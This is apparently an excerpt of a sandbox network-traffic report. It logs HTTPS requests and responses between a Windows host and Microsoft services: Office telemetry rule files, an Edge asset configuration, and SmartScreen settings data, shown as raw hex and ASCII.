ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-25 17:28:39 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-25 17:28:40 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:38 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: ca5e5154-001e-0014-4e4e-3c5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172838Z-15b8b599d88tr2flhC1TEB5gk400000006dg000000006gq6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:39 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49806	13.107.246.63	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:38 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 17:28:39 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:39 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: e550a907-c01e-0017-355f-3fa864000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T172838Z-178bfbc474brk967hC1NYCfu6000000007n00000000076gt Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-25 17:28:39 UTC	15821	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-25 17:28:39 UTC	16384	IN	Data Raw: 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 c1 d0 1d 5d d0 58 b3 51 22 09 e8 37 c0 Data Ascii: ,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:]XQ"7
2024-11-25 17:28:39 UTC	16384	IN	Data Raw: d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b 70 5a 19 73 3e 85 d2 c6 f8 80 22 71 cd Data Ascii: M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkXpZs>"q
2024-11-25 17:28:40 UTC	16384	IN	Data Raw: 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc 9c d4 76 22 35 66 3f 5d d9 fb 8e 7d 65 Data Ascii: H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;v"5f?]}e
2024-11-25 17:28:40 UTC	5234	IN	Data Raw: 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e 26 d2 d8 ca 80 2c 56 f9 34 27 86 21 28 Data Ascii: NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.&,V4'!(

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:38 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:39 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 4ec414f5-001e-0046-5fa0-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172839Z-174c587ffdfcj798hC1TEB9bq400000006c000000000htzz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:39 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:38 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:39 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172839Z-174c587ffdftjz9shC1TEBsh98000000063000000000ez8e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:39 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:39 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:39 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:39 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: ffa63380-201e-006e-3b6c-3dbbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172839Z-15b8b599d885ffrhhC1TEBtuv0000000068g00000000m0be x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:39 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49827	4.152.199.46	443	7532	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:39 UTC	698	OUT	POST /api/browser/edge/data/settings/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5Ijoib2JLMGQ5NTE0TGh4ODRhZjB4SENqUT09IiwgImhhc2giOiI4dHB3dnNVSmxNRT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "2.0-0" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-25 17:28:39 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-25 17:28:40 UTC	302	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:40 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:7b18f7b7-44a8-4212-9aac-12b29c628ff9
2024-11-25 17:28:40 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-25 17:28:40 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-25 17:28:40 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 